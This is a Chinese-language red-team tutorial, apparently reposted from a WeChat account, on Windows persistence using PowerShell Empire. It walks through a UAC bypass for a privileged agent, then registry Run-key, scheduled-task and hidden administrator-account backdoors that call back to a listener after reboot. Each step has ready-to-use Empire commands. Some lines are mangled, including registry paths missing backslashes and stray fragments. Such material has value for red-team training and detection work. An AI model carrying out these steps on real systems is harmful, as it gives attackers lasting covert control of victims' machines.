ATT& CK持久性技术
-
注册表运行项/启动文件夹 -
计划任务/作业 -
本地帐户
PowerShell帝国的持久性
Empire提供多种方法和选项来帮助您保持对已入侵主机的访问权限。它们分为四个主要领域:PowerBreach内存中/非重启幸存后门,用户区重启选项,提升(管理员)重启选项,以及各种调试器触发器(想想粘键)。
PowerShell Empire持久化模块
以下是我们将在我们的参与度中使用的帝国持久性模块列表:
1.用户区持久性-用于为非特权代理(用户区)设置重启持久性。
2.提升的持久性-用于为具有管理权限的代理设置重新启动持久性。
3.PowerBreach -这是一系列内存中的PowerShell后门,可用于设置持久性。
获得Empire的代理
在帝国术语中,高诚信代理是具有提升特权的代理,为了获得高诚信代理,我们需要提升我们的特权。这可以通过使用各种Empire模块来实现,但是,您使用的权限升级技术类型将取决于目标运行的Windows版本。
interact
<
AGENT-ID
>
/
<
NAME
>
info
2、假设我们的目标运行的是Windows 10,我们可以利用“powershell/privesc/bypassuac”empire模块来获取提升的代理,这可以通过运行以下命令来完成:
usemodule powershell/privesc/bypassuac
3、
选择模块后,需要设置相关的模块选项,如监听器和代理。这可以通过运行以下命令来完
成:
set Listener http 2 p
设置代理<AGENT-ID>/<NAME>
4、
设置相关模块选项后,我们可以在目标代理上执行模块,如果成功,我们应该从同一目标
系统收到代理回调,但是,在这种情况下,它将是具有提升权限的高完整性代理,如下面的屏
幕截图所示。
现在我们已经获得了一个高度完整性的代理,我们可以看看如何使用各种Empire持久性模块。
通过Windows注册表实现持久性
persistence/userland/*模块允许从userland重新启动持久化(即不需要管理权限)。
如果指定了Listener,则会自动生成Empire代理的staging代码,并将其用作要触发的脚
本逻辑。如果指定了ExtFile(例如,如果您想生成一个PowerBreach后门并使用它),则
该文件将被适当编码并使用。
模块由触发器机制分解,每个模块都有不同的存储位置。对于用户态模块,存储位置在注册表
中(在HKCU配置单元中),在备用数据流中,或在应用程序事件日志中。如果指定Cleanup
命令,则完全清除可用,该命令将删除指定的触发器和存储的脚本逻辑。注意:如果逻辑存储
在应用程序事件日志中,则不会清除此存储的脚本逻辑。
在本例中,我们将看一下如何在非特权代理上使用“powershell/persistence/userlan
d/registry”模块。persistence/userland/* 模块允许从userland重新启动持久化
(即不需要管理权限)。
1、第一步将涉及与非特权代理交互并选择userland Registry模块,这可以通过运行以下
命令来完成:
interact<AGENT-ID>/<NAME>
usemodule powershell/persistence/userland/registry
2、选择模块后,我们需要配置模块选项,如Agent、Listener、KeyName和RegPath。这
可以通过运行以下命令来完成:
set Listener http
set Agent <AGENT-ID>/<NAME>
set RegPath HKCU:SoftwareMicrosoftWindowsCurrentVersionRun
set KeyName <KEY-NAME>
description-string=命令行
.可以在一个键下写入多个3、在配置模块选项之后,我们可以通过在Empire客户端中运行以下命令来执行模块:
execute
4、我们可以通过运行Windows注册表查询命令来确定是否添加了注册表项:
reg query HKCUSoftwareMicrosoftWindowsCurrentVersionRun
5、如果模块成功运行,您应该看到我们在添加的模块选项中指定的注册表项,如以下屏幕截
图所示。
现在,无论何时重新引导或引导目标系统,我们都应该收到来自目标系统的代理回调。
通过计划任务的持久性
1、第一步将涉及与非特权代理交互并选择userland Registry模块,这可以通过运行以下
命令来完成:
interact<AGENT-ID>/<NAME>
usemodule powershell/persistence/userland/schtasks
2、选择模块后,我们需要配置模块选项,如Listener、RegPath和DailyTime,这可以通
过在Empire客户端中运行以下命令来完成:
set Listener http
set Agent <AGENT-ID>/<NAME>
set RegPath HKCU:SoftwareMicrosoftWindowsCurrentVersionRun
set DailyTime 09:00
3、在配置模块选项之后,我们可以通过在Empire客户端中运行以下命令来执行模块:
execute
如果成功,您应该会收到类似于下面屏幕截图所示的输出。
通过创建本地帐户实现持久化
1、第一步将涉及与代理交互并选择“add_netuser”模块,这可以通过运行以下命令来完成:
interact
<
AGENT-ID
>
/
<
NAME
>
usemodule powershell/persistence/misc/add_netuser
2、选择模块后,我们需要配置模块选项,例如ComputerName、Domain、GroupName、
Password和username,这可以通过在Empire客户端中运行以下命令来完成:
set
GroupName Administrators
set
ComputerName <COMPUTER-
NAME
>
set
Password
<
PASSWORD
>
set
UserName <USERNAME>
3、在配置模块选项之后,我们可以通过在Empire客户端中运行以下命令来执行模块:
execute
5、我们还可以通过在目标系统上运行net user命令来确认新用户帐户已添加,如下面的屏
幕截图所示。
我们可以利用此用户帐户通过RDP等合法的身份验证协议对目标系统进行后门访问。
持久代理
现在我们已经在目标系统上设置了持久性,每当系统重新启动时,我们都应该收到一个代理回
调,如下面的屏幕截图所示。
原文始发于微信公众号(网络安全交流圈):翻译Windows红队持久性技术-3
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论